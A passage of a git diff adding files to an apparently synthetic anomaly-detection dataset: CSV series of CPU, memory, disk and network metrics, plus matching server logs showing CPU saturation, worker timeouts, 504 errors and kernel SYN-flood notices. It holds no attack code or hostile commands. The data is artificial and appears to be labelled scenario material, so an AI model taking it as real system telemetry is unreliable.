GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:00:59 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:00 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:01:01 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:01 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:09 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:15 systemd[1]: Started Session 32 of user app_user. +Aug 23 14:01:17 sshd[10234]: Accepted publickey for app_user from 10.0.1.33 port 53975 ssh2 +Aug 23 14:01:24 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:01:35 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:46 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:01:47 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 23 14:01:56 sshd[10234]: Accepted publickey for app_user from 10.0.1.37 port 50467 ssh2 +Aug 23 14:02:00 sshd[10234]: Accepted publickey for app_user from 10.0.1.28 port 58480 ssh2 +Aug 23 14:02:07 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:02:17 nginx[1123]: GET /api/v1/status HTTP/1.1 200 OK +Aug 23 14:02:29 systemd[1]: Started Session 37 of user app_user. +Aug 23 14:02:32 sshd[10234]: Accepted publickey for app_user from 10.0.1.20 port 51263 ssh2 +Aug 23 14:02:32 systemd[1]: Started Session 47 of user app_user. +Aug 23 14:02:52 sshd[10234]: Accepted publickey for app_user from 10.0.1.12 port 52681 ssh2 +Aug 23 14:02:58 sshd[10234]: Accepted publickey for app_user from 10.0.1.27 port 53351 ssh2 +Aug 23 14:03:00 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:03:12 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:03:17 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 23 14:03:17 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 14:03:23 systemd[1]: Started Session 41 of user app_user. +Aug 23 14:03:31 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 14:03:40 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:03:50 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:03:50 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:03:53 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 14:04:01 sshd[10234]: Accepted publickey for app_user from 10.0.1.45 port 52240 ssh2 +Aug 23 14:04:02 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:04:10 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:04:11 sshd[10234]: Accepted publickey for app_user from 10.0.1.40 port 57440 ssh2 +Aug 23 14:04:12 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:04:18 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:04:19 sshd[10234]: Accepted publickey for app_user from 10.0.1.35 port 56605 ssh2 +Aug 23 14:04:28 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 14:04:29 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 23 14:04:42 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:04:42 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 23 14:04:42 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:04:52 sshd[10234]: Accepted publickey for app_user from 10.0.1.39 port 56070 ssh2 +Aug 23 14:04:57 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:04:58 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:04:59 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:05:00 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:05:08 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:05:09 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:05:20 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:05:26 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:05:28 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 14:05:29 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:05:30 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:05:31 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:05:36 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:05:43 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:05:50 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:05:53 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Aug 23 14:05:59 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:06:03 sshd[10234]: Accepted publickey for app_user from 10.0.1.27 port 54936 ssh2 +Aug 23 14:06:05 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:06:07 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:06:09 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:06:18 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway +Aug 23 14:06:26 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:06:27 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:06:33 systemd[1]: Started Session 21 of user app_user. +Aug 23 14:06:35 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:06:39 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:06:57 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:06:59 nginx[1123]: [error] 142#142: *97 upstream timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.1.23 +Aug 23 14:07:04 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:07:05 sshd[10234]: Accepted publickey for app_user from 10.0.1.40 port 56899 ssh2 +Aug 23 14:07:11 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 23 14:07:11 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:07:13 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:07:13 app-backend[5432]: WARN: Request latency for /api/v1/data processing exceeded 3000ms +Aug 23 14:07:23 app-backend[5432]: ERROR: Timeout processing request for /api/v1/heavy_job +Aug 23 14:07:25 systemd[1]: Started Session 23 of user app_user. diff --git a/anom_dataset/scenario_1/anom_1_2.csv b/anom_dataset/scenario_1/anom_1_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..068f8e9a827cb9444b131dd6c1da3cf545b870e0 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:30:00Z,11.41,57.52,22.28,2.88,2.03 +2025-08-15T14:30:05Z,6.38,54.22,17.16,2.64,1.3 +2025-08-15T14:30:10Z,6.04,51.43,18.87,2.4,2.45 +2025-08-15T14:30:15Z,11.35,59.08,25.25,3.3,1.73 +2025-08-15T14:30:20Z,10.42,59.07,24.13,3.35,1.94 +2025-08-15T14:30:25Z,11.91,53.76,26.38,2.07,1.2 +2025-08-15T14:30:30Z,6.3,51.18,21.4,2.96,1.96 +2025-08-15T14:30:35Z,13.96,53.44,25.96,2.21,1.7 +2025-08-15T14:30:40Z,5.21,56.12,22.63,2.06,1.29 +2025-08-15T14:30:45Z,5.15,50.0,16.45,3.16,1.74 +2025-08-15T14:30:50Z,9.24,53.89,21.54,2.25,1.51 +2025-08-15T14:30:55Z,6.46,55.45,16.66,3.26,1.62 +2025-08-15T14:31:00Z,8.18,54.23,26.09,2.86,1.84 +2025-08-15T14:31:05Z,8.31,56.79,22.29,2.45,1.15 +2025-08-15T14:31:10Z,9.19,51.15,18.56,2.26,2.28 +2025-08-15T14:31:15Z,7.16,55.87,25.96,3.11,1.05 +2025-08-15T14:31:20Z,9.1,53.73,23.18,3.39,1.03 +2025-08-15T14:31:25Z,8.17,57.14,24.76,2.12,1.2 +2025-08-15T14:31:30Z,5.08,54.41,17.12,2.93,1.69 +2025-08-15T14:31:35Z,5.9,57.49,18.15,2.32,1.95 +2025-08-15T14:31:40Z,6.31,55.03,24.17,2.84,1.92 +2025-08-15T14:31:45Z,9.79,54.43,15.23,2.85,1.33 +2025-08-15T14:31:50Z,14.65,57.77,27.78,2.98,2.23 +2025-08-15T14:31:55Z,11.37,51.07,18.22,3.15,2.37 +2025-08-15T14:32:00Z,9.83,56.4,22.25,2.09,2.33 +2025-08-15T14:32:05Z,12.64,58.48,19.74,2.47,2.47 +2025-08-15T14:32:10Z,8.89,58.3,15.48,3.14,1.26 +2025-08-15T14:32:15Z,11.54,54.24,15.74,2.21,2.41 +2025-08-15T14:32:20Z,5.46,59.58,18.27,2.11,1.7 +2025-08-15T14:32:25Z,12.37,57.32,24.74,2.59,2.37 +2025-08-15T14:32:30Z,15.0,55.35,15.59,2.57,1.02 +2025-08-15T14:32:35Z,17.59,51.79,20.39,3.15,2.03 +2025-08-15T14:32:40Z,20.17,52.72,19.41,2.35,2.08 +2025-08-15T14:32:45Z,22.76,52.47,16.53,2.85,2.29 +2025-08-15T14:32:50Z,25.34,56.32,28.47,2.63,2.05 +2025-08-15T14:32:55Z,27.93,57.43,19.03,2.89,1.59 +2025-08-15T14:33:00Z,30.52,58.81,22.18,3.15,1.19 +2025-08-15T14:33:05Z,33.1,56.45,29.11,3.06,1.49 +2025-08-15T14:33:10Z,35.69,50.43,25.88,3.07,1.03 +2025-08-15T14:33:15Z,38.28,59.15,22.86,3.22,2.28 +2025-08-15T14:33:20Z,40.86,54.4,16.42,3.4,1.62 +2025-08-15T14:33:25Z,43.45,50.15,21.06,3.31,2.02 +2025-08-15T14:33:30Z,46.03,57.48,17.16,2.83,1.31 +2025-08-15T14:33:35Z,48.62,51.67,19.88,2.83,1.69 +2025-08-15T14:33:40Z,51.21,51.33,27.75,2.81,2.41 +2025-08-15T14:33:45Z,53.79,51.63,19.98,2.84,1.17 +2025-08-15T14:33:50Z,56.38,59.81,28.99,2.48,1.26 +2025-08-15T14:33:55Z,58.97,58.12,19.94,2.17,1.02 +2025-08-15T14:34:00Z,61.55,54.5,26.43,2.37,1.59 +2025-08-15T14:34:05Z,64.14,57.36,20.62,3.47,1.62 +2025-08-15T14:34:10Z,66.72,59.48,28.28,2.34,1.38 +2025-08-15T14:34:15Z,69.31,53.75,28.78,3.0,1.52 +2025-08-15T14:34:20Z,71.9,58.41,23.74,2.06,1.63 +2025-08-15T14:34:25Z,74.48,53.5,19.91,2.83,2.38 +2025-08-15T14:34:30Z,77.07,55.72,17.22,3.41,2.03 +2025-08-15T14:34:35Z,79.66,58.96,26.53,3.18,1.74 +2025-08-15T14:34:40Z,82.24,59.25,25.12,2.9,2.24 +2025-08-15T14:34:45Z,84.83,58.78,27.81,2.05,2.2 +2025-08-15T14:34:50Z,87.41,55.32,25.93,2.16,1.87 +2025-08-15T14:34:55Z,90.0,56.7,29.4,3.14,1.09 +2025-08-15T14:35:00Z,98.79,55.75,28.83,3.16,1.75 +2025-08-15T14:35:05Z,92.98,54.97,22.66,2.87,1.66 +2025-08-15T14:35:10Z,98.08,52.52,28.77,2.33,2.07 +2025-08-15T14:35:15Z,90.79,59.78,29.68,3.29,1.9 +2025-08-15T14:35:20Z,94.05,59.0,29.93,2.73,1.45 +2025-08-15T14:35:25Z,90.59,58.88,23.63,3.37,2.3 +2025-08-15T14:35:30Z,95.21,54.94,18.93,3.03,1.55 +2025-08-15T14:35:35Z,97.44,56.04,19.87,3.47,1.91 +2025-08-15T14:35:40Z,97.93,50.62,27.1,2.17,1.92 +2025-08-15T14:35:45Z,90.82,50.71,25.85,3.09,1.05 +2025-08-15T14:35:50Z,97.64,59.94,23.98,2.72,1.73 +2025-08-15T14:35:55Z,93.25,53.93,17.97,2.34,1.28 +2025-08-15T14:36:00Z,91.85,53.08,26.81,2.36,1.66 +2025-08-15T14:36:05Z,98.29,58.31,15.63,3.38,1.39 +2025-08-15T14:36:10Z,90.07,57.25,23.27,2.95,2.45 +2025-08-15T14:36:15Z,94.49,56.81,23.58,2.87,1.94 +2025-08-15T14:36:20Z,90.51,59.44,23.51,3.11,1.63 +2025-08-15T14:36:25Z,91.5,55.31,29.56,3.15,1.42 +2025-08-15T14:36:30Z,92.88,57.58,16.39,3.0,2.14 +2025-08-15T14:36:35Z,95.2,50.77,28.96,2.47,1.49 +2025-08-15T14:36:40Z,91.82,55.74,24.01,2.6,1.22 +2025-08-15T14:36:45Z,95.76,58.01,28.59,2.06,2.01 +2025-08-15T14:36:50Z,93.87,58.87,18.16,2.22,1.76 +2025-08-15T14:36:55Z,99.05,55.6,21.17,3.48,1.54 +2025-08-15T14:37:00Z,92.49,55.8,17.79,2.88,2.33 +2025-08-15T14:37:05Z,97.31,59.14,22.6,3.19,1.8 +2025-08-15T14:37:10Z,91.25,54.55,20.33,2.65,1.71 +2025-08-15T14:37:15Z,92.24,51.01,24.26,3.26,1.44 +2025-08-15T14:37:20Z,98.49,57.75,25.75,3.04,1.2 +2025-08-15T14:37:25Z,96.76,52.23,21.24,2.01,1.98 diff --git a/anom_dataset/scenario_1/anom_1_2.log b/anom_dataset/scenario_1/anom_1_2.log new file mode 100644 index 0000000000000000000000000000000000000000..9dd603021313bb1d9e04357276e91c3de80bb6c2 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_2.log @@ -0,0 +1,28 @@ +Aug 15 14:30:00 systemd[1]: Starting log rotation service... +Aug 15 14:30:00 web-app[2245]: GET /api/v1/health status=200 OK +Aug 15 14:30:25 web-app[2245]: GET /api/v1/health status=200 OK +Aug 15 14:30:40 systemd[1]: Starting log rotation service... +Aug 15 14:30:50 web-app[2245]: GET /api/v1/health status=200 OK +Aug 15 14:31:15 sshd[8899]: Accepted publickey for user 'admin' from 10.0.1.5 port 49152 +Aug 15 14:31:15 web-app[2245]: GET /api/v1/health status=200 OK +Aug 15 14:31:20 systemd[1]: Starting log rotation service... +Aug 15 14:31:40 web-app[2245]: GET /api/v1/health status=200 OK +Aug 15 14:32:00 systemd[1]: Starting log rotation service... +Aug 15 14:32:05 web-app[2245]: GET /api/v1/health status=200 OK +Aug 15 14:32:35 web-app[2245]: POST /api/v1/report/generate user='testuser' params='complex_query' +Aug 15 14:32:37 web-app[2245]: WARN Report generation for user 'testuser' is taking longer than expected. Worker PID: 2288 +Aug 15 14:33:45 CRON[9123]: (root) CMD (check-disk-space.sh) +Aug 15 14:34:00 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:34:20 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:34:40 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:35:00 CRON[9123]: (root) CMD (check-disk-space.sh) +Aug 15 14:35:00 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:35:20 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:35:40 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:35:50 web-app[2245]: ERROR Worker process 2288 still unresponsive, possibly stuck in a loop. +Aug 15 14:36:00 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:36:15 CRON[9123]: (root) CMD (check-disk-space.sh) +Aug 15 14:36:20 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:36:40 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:37:00 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout +Aug 15 14:37:20 web-app[2245]: GET /api/v1/dashboard status=504 Gateway Timeout diff --git a/anom_dataset/scenario_1/anom_1_20.csv b/anom_dataset/scenario_1/anom_1_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..adcdfd55f845739d95d4449865202fed52fa02bc --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,19.67,41.43,21.47,1.14,1.19 +2025-08-22T10:00:05Z,19.13,36.17,30.9,1.49,1.98 +2025-08-22T10:00:10Z,21.24,41.47,30.08,1.01,1.15 +2025-08-22T10:00:15Z,16.15,41.43,25.29,0.67,0.96 +2025-08-22T10:00:20Z,19.48,36.15,27.77,0.52,0.94 +2025-08-22T10:00:25Z,16.31,38.13,33.87,0.69,1.69 +2025-08-22T10:00:30Z,24.27,42.91,20.43,1.1,1.45 +2025-08-22T10:00:35Z,24.95,35.65,25.34,1.33,0.87 +2025-08-22T10:00:40Z,21.52,35.16,32.61,0.98,1.61 +2025-08-22T10:00:45Z,19.18,38.29,32.01,1.24,1.93 +2025-08-22T10:00:50Z,18.43,36.86,31.37,1.29,1.3 +2025-08-22T10:00:55Z,22.55,36.64,33.72,1.15,1.01 +2025-08-22T10:01:00Z,21.89,36.3,32.26,1.35,1.72 +2025-08-22T10:01:05Z,24.15,42.68,32.66,1.22,1.97 +2025-08-22T10:01:10Z,22.49,44.99,26.19,1.49,1.87 +2025-08-22T10:01:15Z,20.69,35.67,31.11,1.06,1.82 +2025-08-22T10:01:20Z,23.9,42.63,34.05,0.96,1.21 +2025-08-22T10:01:25Z,19.76,37.3,24.45,1.31,1.25 +2025-08-22T10:01:30Z,18.69,35.93,20.82,0.95,1.27 +2025-08-22T10:01:35Z,23.02,43.81,30.94,1.26,0.84 +2025-08-22T10:01:40Z,15.29,43.3,31.11,1.37,1.18 +2025-08-22T10:01:45Z,24.7,38.34,21.22,0.57,1.56 +2025-08-22T10:01:50Z,16.37,38.35,33.87,0.7,1.1 +2025-08-22T10:01:55Z,24.57,43.33,32.89,1.47,1.05 +2025-08-22T10:02:00Z,22.48,43.87,33.02,1.33,1.31 +2025-08-22T10:02:05Z,17.6,43.92,32.47,1.05,1.44 +2025-08-22T10:02:10Z,18.42,44.09,34.39,1.3,1.48 +2025-08-22T10:02:15Z,18.08,37.59,30.82,1.37,1.73 +2025-08-22T10:02:20Z,15.15,44.72,29.44,1.12,1.53 +2025-08-22T10:02:25Z,15.68,38.11,22.86,1.12,1.61 +2025-08-22T10:02:30Z,96.09,37.45,20.3,0.98,1.22 +2025-08-22T10:02:35Z,96.29,42.23,32.22,0.87,0.8 +2025-08-22T10:02:40Z,96.97,39.58,33.34,1.09,1.71 +2025-08-22T10:02:45Z,99.58,43.56,20.1,0.76,1.36 +2025-08-22T10:02:50Z,97.1,39.79,28.02,1.02,1.51 +2025-08-22T10:02:55Z,96.68,40.37,30.21,1.31,1.47 +2025-08-22T10:03:00Z,95.65,37.21,24.5,1.14,1.79 +2025-08-22T10:03:05Z,96.44,39.79,22.69,0.63,0.98 +2025-08-22T10:03:10Z,98.78,36.85,25.15,1.42,1.02 +2025-08-22T10:03:15Z,98.74,36.85,30.27,0.52,0.96 +2025-08-22T10:03:20Z,97.5,41.44,31.82,1.22,1.31 +2025-08-22T10:03:25Z,98.33,37.85,32.56,0.72,0.93 +2025-08-22T10:03:30Z,96.77,42.04,27.89,0.84,1.95 +2025-08-22T10:03:35Z,99.56,42.92,34.15,1.24,1.04 +2025-08-22T10:03:40Z,97.01,39.8,29.16,1.04,1.16 +2025-08-22T10:03:45Z,97.74,37.59,34.78,1.06,1.63 +2025-08-22T10:03:50Z,98.02,42.02,22.82,1.45,1.34 +2025-08-22T10:03:55Z,99.14,44.18,23.07,0.6,0.89 +2025-08-22T10:04:00Z,96.02,36.66,34.4,0.92,1.22 +2025-08-22T10:04:05Z,95.2,41.79,25.59,0.7,0.83 +2025-08-22T10:04:10Z,98.11,37.47,26.38,1.13,1.58 +2025-08-22T10:04:15Z,95.62,37.17,32.27,1.49,1.67 +2025-08-22T10:04:20Z,96.96,39.52,28.85,0.78,1.24 +2025-08-22T10:04:25Z,96.53,39.95,24.67,0.88,1.07 +2025-08-22T10:04:30Z,98.21,38.97,28.76,1.08,1.71 +2025-08-22T10:04:35Z,99.23,40.34,33.27,0.72,1.1 +2025-08-22T10:04:40Z,97.02,37.3,27.25,0.54,1.5 +2025-08-22T10:04:45Z,96.32,43.58,30.9,0.57,1.36 +2025-08-22T10:04:50Z,97.3,35.83,21.18,1.18,1.22 +2025-08-22T10:04:55Z,95.99,44.98,20.78,1.31,1.18 +2025-08-22T10:05:00Z,98.96,41.52,26.1,0.77,1.53 +2025-08-22T10:05:05Z,98.56,40.54,34.61,0.64,1.87 +2025-08-22T10:05:10Z,96.16,39.92,22.13,0.87,1.32 +2025-08-22T10:05:15Z,97.92,43.61,23.96,1.11,1.34 +2025-08-22T10:05:20Z,97.22,41.33,29.41,1.3,1.49 +2025-08-22T10:05:25Z,96.25,36.67,26.77,1.15,0.94 +2025-08-22T10:05:30Z,95.71,42.29,24.28,1.46,1.64 +2025-08-22T10:05:35Z,98.55,38.78,30.76,1.37,1.03 +2025-08-22T10:05:40Z,95.02,37.85,25.34,1.37,0.93 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+2025-08-22T10:07:25Z,97.53,35.31,34.36,0.57,1.34 diff --git a/anom_dataset/scenario_1/anom_1_20.log b/anom_dataset/scenario_1/anom_1_20.log new file mode 100644 index 0000000000000000000000000000000000000000..82fb0ff9d970f4229432aa9eab4c78edcc6bcfcc --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_20.log @@ -0,0 +1,67 @@ +Aug 22 10:00:03 my-server CRON[15509]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:00:13 my-server kernel: [TIMESTAMP] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=26895 comm="sshd" +Aug 22 10:00:18 my-server kernel: [TIMESTAMP] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=24718 comm="sshd" +Aug 22 10:00:32 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:00:51 my-server CRON[17851]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:01:02 my-server CRON[20650]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:01:11 my-server systemd[1]: Started Session 5 of user admin. +Aug 22 10:01:15 my-server CRON[27555]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:01:32 my-server systemd[1]: Started Session 8 of user admin. +Aug 22 10:01:38 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:01:40 my-server kubelet[2150]: INFO: Successfully probed container health +Aug 22 10:01:50 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:01:58 my-server systemd[1]: Started Session 6 of user admin. +Aug 22 10:02:13 my-server kernel: [TIMESTAMP] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=23298 comm="sshd" +Aug 22 10:02:18 my-server sshd[23436]: Accepted publickey for admin from 10.0.2.5 port 51234 ssh2 +Aug 22 10:02:22 my-server CRON[26396]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 22 10:02:30 my-server gunicorn[37497]: [CRITICAL] WORKER TIMEOUT (pid:37497) +Aug 22 10:02:32 my-server kubelet[2150]: INFO: Successfully probed container health +Aug 22 10:02:37 my-server gunicorn[31438]: [CRITICAL] WORKER TIMEOUT (pid:31438) +Aug 22 10:02:41 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:02:47 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:02:56 my-server app[37893]: WARNING: High latency detected for service 'data-processor': 8885ms +Aug 22 10:03:03 my-server gunicorn[37513]: [CRITICAL] WORKER TIMEOUT (pid:37513) +Aug 22 10:03:15 my-server app[32536]: ERROR: Request failed due to upstream timeout +Aug 22 10:03:20 my-server app[31143]: ERROR: Request failed due to upstream timeout +Aug 22 10:03:22 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:03:26 my-server gunicorn[35479]: [CRITICAL] WORKER TIMEOUT (pid:35479) +Aug 22 10:03:42 my-server app[30590]: ERROR: Request failed due to upstream timeout +Aug 22 10:03:47 my-server gunicorn[31007]: [CRITICAL] WORKER TIMEOUT (pid:31007) +Aug 22 10:03:51 my-server gunicorn[30550]: [CRITICAL] WORKER TIMEOUT (pid:30550) +Aug 22 10:04:12 my-server systemd[1]: Started Session 8 of user admin. +Aug 22 10:04:13 my-server app[36591]: ERROR: Request failed due to upstream timeout +Aug 22 10:04:16 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:04:20 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:04:25 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:04:30 my-server app[31691]: ERROR: Request failed due to upstream timeout +Aug 22 10:04:35 my-server app[37686]: WARNING: High latency detected for service 'data-processor': 9802ms +Aug 22 10:04:40 my-server app[33827]: ERROR: Request failed due to upstream timeout +Aug 22 10:04:45 my-server gunicorn[36560]: [CRITICAL] WORKER TIMEOUT (pid:36560) +Aug 22 10:04:56 my-server gunicorn[36855]: [CRITICAL] WORKER TIMEOUT (pid:36855) +Aug 22 10:05:03 my-server kubelet[2150]: INFO: Successfully probed container health +Aug 22 10:05:05 my-server app[37561]: WARNING: High latency detected for service 'data-processor': 6381ms +Aug 22 10:05:13 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:05:15 my-server app[34637]: ERROR: Request failed due to upstream timeout +Aug 22 10:05:23 my-server app[30297]: WARNING: High latency detected for service 'data-processor': 9222ms +Aug 22 10:05:26 my-server app[38681]: ERROR: Request failed due to upstream timeout +Aug 22 10:05:33 my-server app[32675]: WARNING: High latency detected for service 'data-processor': 6280ms +Aug 22 10:05:42 my-server app[38841]: ERROR: Request failed due to upstream timeout +Aug 22 10:05:45 my-server app[38380]: WARNING: High latency detected for service 'data-processor': 7638ms +Aug 22 10:05:51 my-server systemd[1]: Started Session 3 of user admin. +Aug 22 10:05:57 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:06:02 my-server app[38637]: WARNING: High latency detected for service 'data-processor': 6437ms +Aug 22 10:06:07 my-server app[37458]: ERROR: Request failed due to upstream timeout +Aug 22 10:06:16 my-server app[36470]: ERROR: Request failed due to upstream timeout +Aug 22 10:06:20 my-server gunicorn[36238]: [CRITICAL] WORKER TIMEOUT (pid:36238) +Aug 22 10:06:26 my-server app[35504]: WARNING: High latency detected for service 'data-processor': 7311ms +Aug 22 10:06:30 my-server app[35932]: ERROR: Request failed due to upstream timeout +Aug 22 10:06:36 my-server app[30212]: WARNING: High latency detected for service 'data-processor': 6725ms +Aug 22 10:06:42 my-server app[30550]: WARNING: High latency detected for service 'data-processor': 7639ms +Aug 22 10:06:42 my-server sshd[16192]: Accepted publickey for admin from 10.0.2.5 port 51234 ssh2 +Aug 22 10:06:47 my-server app[30606]: WARNING: High latency detected for service 'data-processor': 9309ms +Aug 22 10:06:53 my-server app[37862]: WARNING: High latency detected for service 'data-processor': 7497ms +Aug 22 10:06:57 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:07:02 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:07:05 my-server app[34887]: ERROR: Request failed due to upstream timeout +Aug 22 10:07:23 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout +Aug 22 10:07:26 my-server nginx[1123]: GET /api/v1/processData HTTP/1.1 504 Gateway Timeout diff --git a/anom_dataset/scenario_1/anom_1_21.csv b/anom_dataset/scenario_1/anom_1_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..4a7e6ed46a57b9e748f7f84604be622660cd3acd --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 